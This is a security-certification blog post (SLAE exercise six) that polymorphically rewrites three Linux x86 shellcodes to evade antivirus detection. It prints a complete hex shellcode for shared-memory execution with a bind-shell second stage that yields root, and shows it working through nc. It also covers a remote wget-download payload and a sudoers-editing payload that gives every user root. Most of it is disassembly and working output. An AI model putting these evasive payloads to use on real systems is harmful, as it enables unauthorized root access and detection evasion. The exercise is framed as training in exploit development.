This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1154
The sixth exercise consisted of choosing 3 linux/x86 shellcodes from shell-storm.org and polymorphically alter them. The resulting shellcode should have at the most 150% the size of the original one.
This technique is useful for bypassing anti-virus engines where common operations are fingerprinted and blacklisted. By modifying a shellcode with semantically equivalent instructions, the shellcode will be harder to detect.
1. Shared memory exec (369)
This shellcode consists of attaching to a shared memory region and executing the in memory shellcode. It’s initial size is 50 bytes, therefore its polymorphic code must be 75 bytes maximum, according to the requirements.
The above original shellcode will obtain the identifier associated with the provided shared memory key, attach to it and jump to the in memory executable code, if any.
This is using the ipc(2) system call, where like socketcall(2), its first argument is the IPC function to invoke. However, unlike the socket system calls which are now exported on x86, the IPC ones aren’t.
Its fourth parameter (third in the prototype) is a user-provided logical address pointer where the contents of the shared memory can be accessed.
The registers for the two ipc(2) system calls will, then, have the following respective values:
+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 23 | <== shmget(2)
| ecx | 0xdeafbeef |
| edx | 0 | <== size is specified by the creator
| esi | 0 | <== so are the flags
| edi | 0 |
| ebp | 0 |
+----------+---------------+
| return | id |
+----------+---------------+
+----------+---------------+
| register | value |
+----------+---------------+
| eax | 117 |
| ebx | 21 | <== shmat(2)
| ecx | shmget(2) id |
| edx | 0 | <== flags
| esi | address |
| edi | 0 |
| ebp | 0 |
+----------+---------------+
Initially, couldn’t get it to work due to the hard-coded shared memory logical address. Substituting it with the current logical address of the stack allows to correctly read the contents off the shared memory.
The below polymorphic shellcode also gets the shared memory key by negating its initial value and performing logic and mathematical operations on the registers and is 11 bytes smaller than the original:
Just like with the egghunter exercise, a custom second stage shellcode can be specified via the STAGE2 variable, which will be copied to the shared memory region:
1234567891011121314151617181920212223242526
$ make PROG=369STAGE2=../0x01-bind/bind
nasm -f elf32 -o 369.o 369.asm
ld -N -zexecstack -o 369 369.o
08048080 <_start>:
8048080: 31 c0 xor eax,eax
8048082: 99 cdq
8048083: 8d 18 lea ebx,[eax] 8048085: 21 de and esi,ebx
8048087: 29 ff sub edi,edi
8048089: 31 ed xor ebp,ebp
804808b: b9 42450135 mov ecx,0x35014542
8048090: f7 d9 neg ecx
8048092: 80 c3 17 add bl,0x17
8048095: 0c 75 or al,0x75
8048097: cd 80 int 0x80
8048099: 89 e6 mov esi,esp
804809b: 89 c1 mov ecx,eax
804809d: 4b dec ebx
804809e: 4b dec ebx
804809f: 21 e8 and eax,ebp
80480a1: 0475 add al,0x75
80480a3: cd 80 int 0x80
80480a5: ff 26 jmp DWORD PTR [esi]Shellcode size: 39
\x31\xc0\x99\x8d\x18\x21\xde\x29\xff\x31\xed\xb9\x42\x45\x01\x35\xf7\xd9\x80\xc3\x17\x0c\x75\xcd\x80\x89\xe6\x89\xc1\x4b\x4b\x21\xe8\x04\x75\xcd\x80\xff\x26
cc -DSHELLCODE=`asm-opcodes 369` -DSTAGE2=`asm-opcodes ../0x01-bind/bind` -W -Wall -fno-stack-protector -zexecstack -o shellcode 369.c
(gdb) b *0x00402085
Breakpoint 2 at 0x402085
(gdb)continueContinuing.
Dump of assembler code forfunction shellcode:
0x00402060 <+0>: xor eax,eax
0x00402062 <+2>: cdq
0x00402063 <+3>: lea ebx,[eax] 0x00402065 <+5>: and esi,ebx
0x00402067 <+7>: sub edi,edi
0x00402069 <+9>: xor ebp,ebp
0x0040206b <+11>: mov ecx,0x35014542
0x00402070 <+16>: neg ecx
0x00402072 <+18>: add bl,0x17
0x00402075 <+21>: or al,0x75
0x00402077 <+23>: int 0x80
0x00402079 <+25>: mov esi,esp
0x0040207b <+27>: mov ecx,eax
0x0040207d <+29>: dec ebx
0x0040207e <+30>: dec ebx
0x0040207f <+31>: and eax,ebp
0x00402081 <+33>: add al,0x75
0x00402083 <+35>: int 0x80=> 0x00402085 <+37>: jmp DWORD PTR [esi] 0x00402087 <+39>: add BYTE PTR [eax],al
End of assembler dump.
$2=[ IF ]Breakpoint 2, 0x00402085 in shellcode ()(gdb) i r esi
esi 0xbffff62c -1073744340
(gdb) x/10i *$esi 0xb7fd2000: xor eax,eax
0xb7fd2002: xor esi,esi
0xb7fd2004: cdq
0xb7fd2005: mov ax,0x167
0xb7fd2009: push 0x2
0xb7fd200b: pop ebx
0xb7fd200c: push 0x1
0xb7fd200e: pop ecx
0xb7fd200f: int 0x80
0xb7fd2011: xchg ebx,eax
123456789
# ./shellcodeShellcode length: 39
Second stage length: 82
$ ss -nlt|grep 4242
LISTEN 00 *:4242 *:*
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
id
uid=0(root)gid=0(root)groups=0(root)
2. Remote file download (611)
The objective of this one consists in calling /usr/bin/wget via execve(2) and fetch the remote aaaa resource. It’s size is 42 bytes, meaning that its morphed code must be at the most 63 bytes.
Trying to execute it does, indeed, fetch the remote resource. In the modified shellcode I’ve opted to remove the last two instructions, since if the execve(2) system call fails -1 is returned, thus incrementing eax would make the code call restart_syscall(2).
1234
$ ./611
--2018-08-08 22:00:10-- http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'
To save space, pointer arithmetic operations on stack values are performed with the ebp register, instead of with esp. The offsets are, also, statically calculated by the code. The resulting morphed shellcode is 21 bytes bigger, making it the maximum 63 bytes allowed by the requirements:
$ ./shellcode
Shellcode length: 63
--2018-08-08 23:02:04-- http://aaaa/
Resolving aaaa (aaaa)... failed: Name or service not known.
wget: unable to resolve host address 'aaaa'
3. Edit /etc/sudoers for full access (62)
The final one grants root access to every single user on the machine. It’s size is 86 bytes, meaning that the altered shellcode should be at the most 129 bytes.
Decided to drop the close(2) and exit(2) system calls since they don’t bring any advantages whatsoever and moreover, prunning them allowed to focus more on MMX, FPU and SSE instructions. The total size of the morphed code is 128 bytes:
To partially build the filename, the MMX XOR functions were used with an initial XOR value. The resulting value serves as the XOR value to the next one:
Following that, the emms instruction is issued to signal the CPU that MMX operations are done and the shared registers are going to be used by the x87 FPU, which is going to be needed by the fmul instruction to calculate the flags for the open(2) system call: